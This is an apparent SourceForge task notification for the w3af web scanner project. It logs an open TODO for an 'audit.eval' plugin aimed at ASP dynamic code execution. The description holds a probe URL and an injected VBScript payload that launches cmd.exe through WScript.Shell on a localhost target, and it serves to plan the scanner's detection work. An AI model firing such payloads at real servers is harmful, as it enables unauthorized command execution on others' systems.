[W3af-svn-notify] [Task #149931] audit.eval

[SourceForge.net <no...@so...>]

Task #149931 has been updated. 

Project: w3af
Subproject: Plugin TODO v1.00
Summary: audit.eval
Complete: 0%
Status: Open
Authority  : andresriancho
Assigned to: nobody

Description: OS Commands Dynamic Exe ASP
3.https://localhost/search.asp?storedsearch=mysearch%3dwahh:responde.write%20111111
Attacks:
https://localhost/search.asp?storedsearch=mysearch%3dwahh:+Dim +oScript:+Set+oScript+=Server.CreateObject(�WSCRIPT.SHELL�):+CALL+oSCRIPT.Run+(�cmd.exe+/c+dir+>+c:\inetpub\wwwroot\dir.txt�,0,True) 

-------------------------------------------------------
For more info, visit:

http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=149931&group_id=170274&group_project_id=50603